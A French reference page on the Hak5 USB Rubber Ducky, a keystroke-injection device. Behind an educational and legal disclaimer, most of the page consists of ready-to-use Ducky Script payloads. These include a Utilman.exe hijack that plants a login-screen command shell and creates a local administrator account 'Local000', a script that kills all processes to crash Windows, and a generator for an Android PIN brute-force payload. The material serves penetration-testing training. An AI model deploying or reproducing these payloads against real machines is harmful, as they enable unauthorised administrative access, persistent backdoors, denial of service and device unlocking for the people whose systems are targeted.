Hak5
🔒 Contenu de sécurité — usage encadré
Cette page décrit des techniques de sécurité offensive à des fins exclusivement pédagogiques et professionnelles (formation, préparation de certification, montée en compétence défensive).
Ces techniques ne doivent être mises en œuvre que dans un laboratoire isolé ou sur un système pour lequel vous disposez d'une autorisation écrite explicite du propriétaire. Les employer contre un système tiers sans autorisation est une infraction pénale (art. 323-1 et suivants du Code pénal). Voir les avertissements généraux.
| Fiche express | |
|---|---|
| Type | Matériel offensif (BadUSB) |
| Produit | USB Rubber Ducky |
| Rôle | Injection de frappes clavier automatisées (HID) |
| Voir aussi | Webshell |
Hak5 produit notamment l'USB Rubber Ducky, un périphérique qui se fait passer pour un clavier (HID) afin d'injecter automatiquement des séquences de frappes (payloads) sur une machine cible.
Ressources
- Payloads : https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads
- Démonstration vidéo : https://www.youtube.com/watch?v=JON76zbiL1o
- Toolkit de génération de payloads : http://ducktoolkit-411.rhcloud.com/Home.jsp
- Générateur simple : https://code.google.com/p/simple-ducky-payload-generator/
Fichiers d'injection
inject.bin— payload par défaut (toujours exécuté en premier)inject2.bin— NUM_LOCKinject3.bin— CAPS_LOCKinject4.bin— SCROLL_LOCK
Liens utiles
- Ducky Decode (communauté) : http://ducky-decode.googlecode.com/
- Forums Hak5 — USB Rubber Ducky : http://forums.hak5.org/index.php?/forum/56-usb-rubber-ducky/
- Atmel Studio : http://www.atmel.com/tools/ATMELSTUDIO.aspx
Repérer le lecteur du Ducky
En nommant la clé DUCKY, on peut récupérer sa lettre de lecteur puis exécuter le payload :
for /f %d in ('wmic volume get driveletter^, label ^| findstr "DUCKY"') do set myd=%d
%myd%/duck
Encodage des payloads
Version 1 :
java -jar duckencoder.jar -i example_1.txt -o inject.bin
Version 2.1 (http://code.google.com/p/ducky-decode/) :
java -jar duckencoder -l <country_code / chemin du fichier properties> -i <input> -o <output>
Exemple : ouvrir Notepad
DELAY 300
GUI r
DELAY 50
STRING notepad
DELAY 50
ENTER
DELAY 75
STRING Hello World!!!
ENTER
Payload : changement de fond d'écran (Windows 7)
Minimise les fenêtres, réalise une capture d'écran, l'enregistre dans %userprofile% et la définit comme fond d'écran :
DELAY 5000
GUI d
DELAY 500
PRINTSCREEN
DELAY 100
MENU
DELAY 300
STRING V
DELAY 40
STRING D
DELAY 300
GUI r
DELAY 700
STRING mspaint
ENTER
DELAY 1200
CTRL v
DELAY 500
CTRL s
DELAY 1000
STRING %userprofile%\a.bmp
ENTER
DELAY 500
ALT f
DELAY 400
STRING K
DELAY 100
STRING F
DELAY 1000
ALT F4
DELAY 300
GUI d
Payload : exploit Utilman (Windows 7)
Utilise le détournement de Utilman.exe pour créer un compte administrateur local « Local000 ». Payload à visée pédagogique / test d'intrusion :
REM Author: Xcellerator
REM Description: Utilman Exploiter to create a new Admin Account
REM The new account will be called "Local000".
DELAY 5000
GUI
DELAY 50
STRING cmd
MENU
STRING a
ENTER
LEFT
ENTER
DELAY 200
STRING takeown /f "%systemroot%\System32\Utilman.exe"
ENTER
DELAY 50
STRING icacls "%systemroot%\System32\Utilman.exe" /grant administrators:F /T
ENTER
DELAY 50
STRING cd %systemroot%\System32
ENTER
DELAY 50
STRING mkdir util
ENTER
STRING xcopy cmd.exe util\
ENTER
DELAY 50
STRING ren Utilman.exe Utilman.exe.bak
ENTER
STRING cd util
ENTER
DELAY 50
STRING ren cmd.exe Utilman.exe
ENTER
DELAY 50
STRING cd ..
ENTER
DELAY 50
STRING xcopy util/Utilman.exe \
ENTER
DELAY 50
STRING rmdir /s /q util
ENTER
DELAY 50
STRING exit
ENTER
DELAY 50
GUI u
STRING net user Local000 /add
ENTER
DELAY 50
STRING net localgroup administrators Local000 /add
ENTER
DELAY 50
STRING exit
ENTER
DELAY 50
GUI r
STRING cmd
ENTER
DELAY 50
STRING cd "%systemroot%\System32"
ENTER
DELAY 50
STRING delete Utilman.exe
ENTER
DELAY 50
STRING y
ENTER
DELAY 50
STRING ren Utilman.exe.bak Utilman.exe
ENTER
DELAY 50
STRING exit
ENTER
GUI
STRING cmd
MENU
STRING a
ENTER
DELAY 50
LEFT
ENTER
DELAY 200
STRING net user Local000 *
ENTER
STRING hak5
ENTER
STRING hak5
ENTER
STRING exit
ENTER
Payload : BSOD Windows
DELAY 2000
GUI r
DELAY 500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 1500
ALT y
DELAY 500
STRING get-process | stop-process -force
ENTER
Brute force d'un déverrouillage Android
Avec 5 essais toutes les 30 secondes, l'ensemble des combinaisons d'un PIN à 4 chiffres peut être parcouru en environ 16 h 40. Script de génération du fichier de payload :
echo DELAY 5000 > android_brute-force_0000-9999.txt; echo {0000..9999} | xargs -n 1 echo STRING | sed '0~5 s/$/\nWAIT/g' | sed '0~1 s/$/\nDELAY 1000\nENTER\nENTER/g' | sed 's/WAIT/DELAY 5000\nENTER\nDELAY 5000\nENTER\nDELAY 5000\nENTER/g' >> android_brute-force_0000-9999.txt
Voir aussi
- Webshell — accès distant post-exploitation